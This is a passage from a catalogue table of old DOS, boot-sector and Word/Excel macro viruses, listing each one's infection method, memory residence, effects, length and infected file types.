¦.Smiley ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Snickers ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Sok ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Spooky ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Spy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Sunbeam ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Supers ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Stryx ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Switch (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Swlabs (4)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Taguchi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Talon (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Tamago ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Target ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Tear (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Terror ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Tedious ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Telefonica ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Test ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Testarea ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Theatre ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Thebman ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Trash ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Twno (10)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.UglyKid ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Uka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Vampire (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.VH1 ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Vhdl ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Vicinity (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Viciss ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Vioshki ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Volcano ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.WallPaper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Want ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Wazzu (22)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Waverley ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Weather ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Wieder ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Worm ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Xenixos ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Yaka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Zero (2)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Zmb ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Zoolog ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wormsign.1547 ¦FIND¦ - *¦ HV ¦1547 ¦ .C&C * ¦ e ¦ L ¦
¦Wormsign.1710 ¦FIND¦ - *¦ HV ¦1710 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Worry.556 ¦INT ¦MCB ¦ V ¦556 ¦ C * ¦ e ¦ L ¦
¦Worry.562 ¦INT ¦MCB ¦ V ¦562 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦WpcBats.3072 ¦INT ¦MCB ¦ V ¦3072 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦WpcBats.3161 ¦INT ¦MCB ¦ V ¦3161 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wreck.92 ¦INT ¦KEEP¦ H ¦92 ¦ E * ¦ s ¦ 0, overwrite ¦
¦Wreck.462 ¦INT ¦KEEP¦ HV ¦462 ¦ E * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wvp.352 ¦INT ¦MCB ¦ - ¦352 ¦ C ¦ s ¦ L ¦
¦Wvp.382 ¦INT ¦MCB ¦ - ¦382 ¦ C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wadimka.481 ¦INT ¦INTB¦ - ¦481 ¦ E * ¦ e ¦ L+p ¦
¦Warrior.1024 ¦FIND¦ * ¦ H ¦1024 ¦ .E&E * ¦ e ¦ L+p ¦
¦Walker.3846 ¦INT ¦MCB ¦ V ¦3846 ¦ CE * ¦ e ¦ L+p ¦
¦Wally.1029 ¦FIND¦ - ¦ HV ¦1029 ¦ .C * ¦ e ¦ L ¦
¦Wang.656 ¦INT ¦MCB ¦ VEr¦656 ¦ .C.E ¦ e ¦ L+p ¦
¦Waria.479 ¦FIND¦ - ¦ V ¦479 ¦ .C * ¦ e ¦ L ¦
¦Wart.559 ¦INT ¦KEEP¦ H ¦559 ¦ E * ¦ e ¦ L+p ¦
¦Watshira.2048(3)INT ¦MCB ¦ H ¦2048 ¦ CE * ¦CsEe ¦ L ¦
¦Weirdo.555 ¦INT ¦MCB*¦ - ¦555 ¦ .E * ¦ s ¦ L, companion ¦
¦WeekDay.1614 ¦INT ¦MCB ¦ - ¦1614 ¦ CE * ¦ e ¦ L ¦
¦Whale.9216 ¦INT ¦MCB ¦ V ¦9216 ¦ CEO * ¦ e ¦ L+p+(0-16) ¦
¦Wherex.1688 ¦INT ¦MCB ¦ HV ¦1688 ¦ CE * ¦ e ¦ L+p ¦
¦Whimsy.256 ¦FIND¦ - ¦ - ¦256 ¦ .C ¦ e ¦ L ¦
¦WhiteAwe.2675 ¦INT ¦KEEP¦ V ¦2675 ¦ E * ¦ e ¦ L+? ¦
¦Wildy.354 ¦INT ¦MCB ¦ Er ¦354 ¦ C ¦ s ¦ L ¦
¦Wintermute.1052¦INT ¦MCB ¦ - ¦1052 ¦ CE ¦ e ¦ L ¦
¦Wisconsin.815 ¦FIND¦ - ¦ HV ¦815 ¦ .C * ¦ s ¦ L+10 ¦
¦Witching.1400(2¦FIND¦ - ¦ - ¦1400 ¦ .E&E * ¦ e ¦ L ¦
¦Wra.512 ¦FIND¦ - ¦ V ¦512 ¦ .C&C * ¦ e ¦ L ¦
¦WWPE.Rsa ¦INT ¦MCB ¦ HV ¦4568 ¦CE.ZIP.ARJ*¦ e ¦ L+? ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part X
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦X-Mrei.866 ¦INT ¦MCB ¦ V ¦866 ¦ .C.E&CE* ¦ e ¦ L ¦
¦X-Mrei.1405 ¦INT ¦MCB ¦ V ¦1405 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦XAM.278 ¦INT ¦MCB ¦ - ¦278 ¦ E * ¦ i ¦ 0 ¦
¦XAM.797 ¦INT ¦MCB ¦ - ¦797 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+24+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Excel MS-Office'97 - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦X97M.Laroux ¦OF97¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦ExcelMacro.Formula - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦XF.Paix ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦ExcelMacro - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦XM.Delta (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.DMV ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Don ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Emperor ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Hit (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Laroux (3)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Legend ¦Excl¦GLB ¦ V ¦ ? ¦WinExclXLS*¦ i ¦ ? ¦
¦.NoMercy ¦Excl¦GLB ¦ V ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Phantom ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Robocop ¦Excl¦GLB ¦ H ¦ ? ¦WinExclXLS*¦ i ¦ ? ¦
¦.Sofa ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Tjoro (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? ¦
¦.Yohimbe ¦Excl¦GLB ¦ H ¦ ? ¦WinExclXLS*¦ i ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦XPEH.3600 ¦INT ¦MCB ¦ - ¦3600 ¦ CEO ¦ e ¦ L+p+128 ¦
¦XPEH.3840 ¦INT ¦MCB ¦ H ¦3840 ¦ CEO ¦ e ¦ L+p+128 ¦
¦XPEH.3872 ¦INT ¦MCB ¦ H ¦3872 ¦ CEO ¦ e ¦ L+p+128 ¦
¦XPEH.4048 (2)¦INT ¦MCB ¦ H ¦4048 ¦ CEO ¦ e ¦ L ¦
¦XPEH.4752 ¦INT ¦MCB ¦ - ¦4752 ¦ CEO ¦ e ¦ L+p ¦
¦XPEH.4768 ¦INT ¦MCB ¦ H ¦4768 ¦ CEO ¦ e ¦ L+p+128 ¦
¦XPEH.5488 ¦INT ¦MCB ¦ H ¦5488 ¦ CEO ¦ e ¦ L+p+128 ¦
¦XPEH.5792 ¦INT ¦MCB ¦ V ¦5792 ¦ CEO ¦ e ¦ L+p+10 ¦
¦XPEH.5840 ¦INT ¦MCB ¦ V ¦5840 ¦ CEO ¦ e ¦ L+p+128 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Xuxa.1096 ¦INT ¦MCB ¦ V ¦1096 ¦ C * ¦ e ¦ L ¦
¦Xuxa.1656 ¦INT ¦MCB ¦ V ¦1656 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦XA1.1539 (2)¦FIND¦ - ¦ HV ¦1539 ¦ .C ¦ s ¦ L ¦
¦Xak.3132 ¦INT ¦MCB ¦ H ¦3132 ¦ C ¦ e ¦ L ¦
¦Xed.2869 ¦INT ¦MCB ¦ H ¦2869 ¦ .C.E&CE ¦ e ¦ L ¦
¦Xtac.1564 ¦INT ¦KEEP¦ H ¦1564 ¦ CE * ¦ e ¦ L+p,COMMAND.COM-0¦
¦Xxx.1060 ¦INFI¦MCB ¦ HV ¦1060 ¦ C ¦ s ¦ L ¦
¦Xyz.1561 ¦INT ¦KEEP¦ VEr¦1561 ¦ .C.E&CE* ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part Y
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Yard.448 ¦INT ¦MCB ¦ H ¦448 ¦ C * ¦ e ¦ L ¦
¦Yard.590 ¦INT ¦MCB ¦ H ¦590 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Yeke.1204 ¦INT ¦MCB ¦ VS ¦1204 ¦ E * ¦ e ¦ L ¦
¦Yeke.1706 ¦INT ¦MCB ¦ VS ¦1706 ¦ E * ¦ e ¦ L ¦
¦Yeke.2425 ¦INT ¦MCB ¦ HVS¦2425 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Yerg.120 ¦INT ¦INTB¦ - ¦120 ¦ C * ¦ e ¦ L ¦
¦Yerg.126 ¦INT ¦INTB¦ - ¦126 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Yankee.1202 ¦INT ¦MCB ¦ - ¦1202 ¦ CE ¦ e ¦ L+p ¦
¦Yankee.2561 ¦INT ¦MCB ¦ V ¦2561 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Yosha.275 ¦INT ¦INTB¦ - ¦275 ¦ C ¦ e ¦ L ¦
¦Yosha.745 ¦INT ¦MCB ¦ V ¦745 ¦ C ¦ e ¦ L ¦
¦Yosha.975 ¦INT ¦MCB ¦ V ¦975 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦YADEKA.Demo ¦INT ¦MCB ¦ HV ¦2365 ¦ C * ¦ s ¦ L+? ¦
¦Yom.529 ¦FIND¦ - ¦ VCh¦529 ¦ .C * ¦ e ¦ L ¦
¦YouH.577 ¦FIND¦ - ¦ V ¦577 ¦ .C ¦ e ¦ L ¦
¦Youth.640 ¦INT ¦MCB ¦ Ch ¦640 ¦ C ¦ s ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part Z
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Zhengxi.7271 ¦INT ¦MCB ¦ - ¦2771 ¦ CE * ¦CsEei¦ L+? ¦
¦Zhengxi.7307 ¦INT ¦MCB ¦ - ¦3107 ¦ CE * ¦CsEei¦ L+? ¦
¦Zhengxi.7313 ¦INT ¦MCB ¦ - ¦3113 ¦ CE * ¦CsEei¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Zherkov.1023 ¦INT ¦MCB ¦ HV ¦1023 ¦ .C&C ¦ e ¦ L ¦
¦Zherkov.1922 ¦INT ¦MCB ¦ - ¦1922 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Zherkov.2435 ¦INT ¦MCB ¦ - ¦2435 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Zherkov.2968 ¦INT ¦MCB ¦ V ¦2968 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Zherkov.2970 ¦INT ¦MCB ¦ V ¦2970 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦ZhugeLiang.4784¦INT ¦KEEP¦ S ¦4784 ¦ CE * ¦ s ¦ L ¦
¦ZhugeLiang.5976¦INT ¦KEEP¦ S ¦5976 ¦ CE * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Zipper.303 ¦INT ¦MCB ¦ - ¦303 ¦ C * ¦ e ¦ L ¦
¦Zipper.2779 (3)¦INT ¦MCB ¦ - ¦2779 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Zmiana.1024 (2)¦INT ¦MCB ¦ HCh¦1024 ¦ E * ¦ e ¦ L+p ¦
¦Zmiana.1224 ¦INT ¦MCB ¦ V ¦1224 ¦ CE * ¦ e ¦ L+p ¦
¦Zmiana.1383 ¦INT ¦MCB ¦ V ¦1383 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Znosko.509 ¦FIND¦ - ¦ V ¦509 ¦ .C * ¦ s ¦ L ¦
¦Znosko.1311 ¦FIND¦ - ¦ H ¦1311 ¦ .C * ¦ s ¦ L ¦
¦Znosko.1372 ¦FIND¦ - ¦ H ¦1372 ¦ .C * ¦ s ¦ L ¦
¦Znosko.1380 ¦FIND¦ - ¦ H ¦1388 ¦ .C * ¦ s ¦ L ¦
¦Znosko.1418 ¦FIND¦ - ¦ H ¦1418 ¦ .C * ¦ s ¦ L ¦
¦Znosko.1730 ¦FIND¦ - ¦ H ¦1730 ¦ CE * ¦CsEe ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Zombie.1922 ¦INT ¦SHAD¦ Ch ¦1922 ¦ E * ¦ e ¦ L+13545+p ¦
¦Zombie.16384 ¦FIND¦ - ¦ - ¦16384¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Zarin.669 ¦FIND¦ - ¦ HV ¦669 ¦ .C * ¦ s ¦ L ¦
¦ZeroBug.1536 ¦INT ¦KEEP¦ V ¦1536 ¦ C * ¦ s ¦ L ¦
¦ZhengZhou.3584 ¦INT ¦MCB ¦ HV ¦3584 ¦ CE+boot ¦ e ¦ L+p ¦
¦Zhu.1743 ¦INT ¦MCB ¦ V ¦1743 ¦ .C.E&E ¦ e ¦ L ¦
¦Zibbert.1315 ¦INT ¦KEEP¦ Ch ¦1315 ¦ CE ¦ e ¦ L ¦
¦Zohra.4488 ¦INT ¦MCB ¦ V ¦4488 ¦ E ¦ e ¦ L ¦
¦Zu.473 ¦INT ¦MCB ¦ HV ¦473 ¦ C * ¦ e ¦ L ¦
¦Zxx.600 ¦INT ¦MCB ¦ H ¦600 ¦ E ¦ e ¦ L+p ¦
¦Zyx.5739 ¦FIND¦ - ¦ H ¦5739 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Zz.412 ¦INT ¦MCB ¦ - ¦412 ¦ E * ¦ e ¦ L+p ¦
¦ZzTop.340 ¦INT ¦MCB ¦ H ¦340 ¦ C * ¦ s ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
The MBR and Boot sector viruses
г==================T============T=======T==========T==========¬
¦ Name ¦ Length ¦Infect.¦Decr. of ¦ Envoked ¦
¦ ¦ ¦objects¦memory(K) ¦ effects ¦
¦==================+============+=======+==========+==========¦
¦Alla.1281 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch ¦
¦Alla.1325 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch ¦
¦Alla.1407 ¦2048 (800h) ¦FM+file¦ 2 * ¦ Ch ¦
¦------------------+------------+-------+----------+----------¦
¦Blah.3379 ¦2048 (800h) ¦ M+file¦ 3 * ¦ - ¦
¦Blah.3385 ¦2048 (800h) ¦ M+file¦ 3 * ¦ Er ¦
¦------------------+------------+-------+----------+----------¦
¦BootCom.437 ¦512 (200h) ¦ M+file¦ 1 * ¦ - ¦
¦BootCom.445 ¦512 (200h) ¦FM+file¦ 1 * ¦ H ¦
¦BootCom.512(Light)¦512 (200h) ¦ M+file¦ 1 * ¦ - ¦
¦------------------+------------+-------+----------+----------¦
¦BootExe.174 ¦512 (200h) ¦ M+file¦ INTB* ¦ H ¦
¦BootExe.403 ¦512 (200h) ¦ M+file¦ 1 * ¦ - ¦
¦BootExe.443 ¦512 (200h) ¦FB+file¦ 4 * ¦ H ¦
¦BootExe.451 ¦512 (200h) ¦FB+file¦ 4 * ¦ H ¦
¦BootExe.452 ¦512 (200h) ¦FB+file¦ 4 * ¦ H ¦
¦BootExe.483 ¦512 (200h) ¦ M+file¦ 1 * ¦ H ¦
¦.Andryushka ¦512 (200h) ¦ M+file¦ 1 ¦ H ¦
¦.Dogcher ¦512 (200h) ¦ M+file¦ INTB* ¦ H ¦
¦.Nutcracker ¦512 (200h) ¦FM+file¦ 1 * ¦ H ¦
¦.Stalker.310 ¦512 (200h) ¦ M+file¦ 1 * ¦ - ¦
¦.Stalker.320 ¦512 (200h) ¦ M+file¦ 1 * ¦ - ¦
¦------------------+------------+-------+----------+----------¦
¦Daemaen.1894 ¦2560 (A00h) ¦FM+file¦ 3 * ¦ Er ¦
¦Daemaen.2048 ¦2560 (A00h) ¦FM+file¦ 3 * ¦ Er ¦
¦------------------+------------+-------+----------+----------¦
¦CriCri.4300 ¦4608 (12000)¦ F+file¦ 9 * ¦ VEr ¦
¦CriCri.4616 ¦5120 (14000)¦ F+file¦ 9 * ¦ VEr ¦
¦------------------+------------+-------+----------+----------¦
¦Ginger.2691 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ Er ¦
¦Ginger.2624 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ - ¦
¦Ginger.2774 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ Er ¦
¦Ginger.2782 ¦3072 (C00h) ¦ M+file¦ 3 * ¦ - ¦
¦------------------+------------+-------+----------+----------¦
¦Mf.4270 ¦4608 (1200h)¦ M+file¦ 8 * ¦ HV ¦
¦Mf.4625 ¦5120 (1400h)¦ M+file¦ 10* ¦ HV ¦
¦Mf.5088 ¦5120 (1400h)¦ M+file¦ 10* ¦ HV ¦
¦------------------+------------+-------+----------+----------¦
¦Mh.1432 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - ¦
¦Mh.1438 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - ¦
¦Mh.1538 ¦2048 (800h) ¦ M+file¦ 4 * ¦ - ¦
¦------------------+------------+-------+----------+----------¦
¦Nexivder.4224 ¦6656 (1A000)¦FM+file¦ 7 * ¦ Er ¦
¦Nexivder.4286 ¦6656 (1A000)¦FM+file¦ 7 * ¦ Er ¦
¦------------------+------------+-------+----------+----------¦
¦Nutcracker.512 (2)¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Nutcracker.2890 ¦3072 (C00h) ¦FM+file¦ - * ¦ HS ¦
¦Nutcracker.2990 ¦3072 (C00h) ¦FM+file¦ - * ¦ HSEr ¦
¦Nutcracker.3021 ¦3072 (C00h) ¦FM+file¦ - * ¦ HSEr ¦
¦Nutcracker.3472 ¦3584 (E00h) ¦FM+file¦ - * ¦ HSEr ¦
¦Nutcracker.3500(4)¦3584 (E00h) ¦ M+file¦ - * ¦ HV ¦
¦Nutcracker.4540 ¦4608 (12000)¦FM+file¦ - * ¦ HVSEr ¦
¦Nutcracker.5375 ¦5632 (16000)¦FM+file¦ - * ¦ H ¦
¦Nutcracker.5413 ¦5632 (16000)¦FM+file¦ - * ¦ H ¦
¦Nutcracker.5440 ¦5632 (16000)¦FM+file¦ - * ¦ H ¦
¦Nutcracker.5589 ¦5632 (16000)¦FM+file¦ - * ¦ H ¦
¦Nutcracker.6100 ¦6144 (18000)¦FM+file¦ - * ¦ H ¦
¦Nutcracker.6425(7)¦7168 (1C000)¦FM+file¦ - * ¦ HVEr ¦
¦Nutcracker.6996 ¦7168 (1C000)¦FM+file¦ - * ¦ HV ¦
¦Nutcracker.7008 ¦7168 (1C000)¦FM+file¦ - * ¦ HVEr ¦
¦Nutcracker.7640 ¦7680 (1E000)¦FM+file¦ - * ¦ H ¦
¦------------------+------------+-------+----------+----------¦
¦Krsna.7699 ¦8192 (2000h)¦FM+file¦ - * ¦ HV ¦
¦Krsna.7868 ¦8192 (2000h)¦FM+file¦ - * ¦ HV ¦
¦------------------+------------+-------+----------+----------¦
¦RaseK.1489 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H ¦
¦RaseK.1490 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H ¦
¦RaseK.1492 ¦2048 (800h) ¦ M+file¦ 2 * ¦ H ¦
¦------------------+------------+-------+----------+----------¦
¦3APA3A (3)¦1024 (400h) ¦F+IO.SYS 2 or 3 *¦ HV ¦
¦3nop ¦512 (200h) ¦FM+file¦ 1 * ¦ H ¦
¦8Ball (2)¦512 (200h) ¦F+CONFIG HMA * ¦ - ¦
¦ABCD (3)¦1024 (400h) ¦ FM ¦ 1 or 2 ¦ - ¦
¦Abs-3 ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Aija ¦1024 (400h) ¦ FM ¦ 5 * ¦ HV ¦
¦Aircop (3)¦512 (200h) ¦ F ¦ 1 ¦ V ¦
¦Alcon ¦1024 (400h) ¦ FB ¦ 2 * ¦ H ¦
¦Amse (2)¦3072 (C00h) ¦ FM ¦ 4 * ¦ - ¦
¦Andrew (2)¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Angelina ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Anthrax ¦1024 (400h) ¦ M+file¦ 2 * ¦ H ¦
¦AntiCMOS (3)¦512 (200h) ¦ FM ¦ 2 * ¦ HSCh ¦
¦AntiEXE (7)¦512 (200h) ¦ FM ¦ 1 ¦ Ch ¦
¦AntiParity ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦AP ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦ArcHub ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦AreThree.2048 (3)¦2048 (800h) ¦FM+file¦ 5 * ¦ V ¦
¦Autumnal.3072 ¦3072 (C00h) ¦ M+file¦ 4 ¦ HV ¦
¦Azusa (2)¦512 (200h) ¦ FM ¦ 1 * ¦ HCh ¦
¦BackSlash ¦512 (200h) ¦ FM ¦ 1 * ¦ Ch ¦
¦BackUSSR ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦BadBuffer ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Bunny (3)¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Bitch ¦512 (200h) ¦ FM ¦ 1 * ¦ - ¦
¦Bite ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦BlackWorm ¦512 (200h) ¦ FM ¦ 2 * ¦ H ¦
¦Bleah (3)¦512 (200h) ¦ FM ¦ 1 ¦ - ¦
¦Bloody (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V ¦
¦Bones ¦512 (200h) ¦ FM ¦ 1 * ¦ H ¦
¦Boot.437 ¦512 (200h) ¦ FB ¦ 1 ¦ - ¦
¦Boroda ¦1024 (400h) ¦ FM ¦ 2 * ¦ V ¦
¦Brain (3)¦3072 (C00h) ¦ F ¦ 7 ¦ Ch ¦
¦Brasil ¦1024 (400h) ¦ FM ¦ 1 * ¦ HV ¦
¦Bravo ¦512 (200h) ¦ FM ¦ INTB * ¦ H ¦
¦Bug70 ¦512 (200h) ¦ FB ¦ INTB ¦ - ¦
¦BuptBoot ¦512 (200h) ¦ FM ¦ 2 * ¦ - ¦
¦ByeBye ¦1024 (400h) ¦ FM ¦ 1 * ¦ V ¦
¦Chance (4)¦1024 (400h) ¦ FB ¦ 2 * ¦ V ¦
¦Changsha.3072 ¦3072 (C00h) ¦ M+file¦ 4 ¦ HV ¦
¦Cheolsoo ¦512 (200h) ¦ FB ¦ 2 * ¦ - ¦
¦Chigi ¦512 (200h) ¦ FM ¦ 2 * ¦ V ¦
¦ChineseFish ¦1536 (600h) ¦ FM ¦ ADDR * ¦ V ¦
¦Cicada ¦3584 (E00h) ¦ FM ¦ 4 * ¦ HV ¦
¦CivilDefence (7)¦7168 (1C00h)¦ M+file¦ - * ¦ HV ¦
¦COMx ¦512 (200h) ¦ FM ¦ 2 ¦ - ¦
¦Copy77 ¦512 (200h) ¦ FM ¦ 1 * ¦ V ¦
¦CrazyBoot ¦1536 (600h) ¦ FM ¦ 4 * ¦ V ¦
¦Crepate ¦3584 (E00h) ¦ M+file¦ 4 * ¦ H ¦
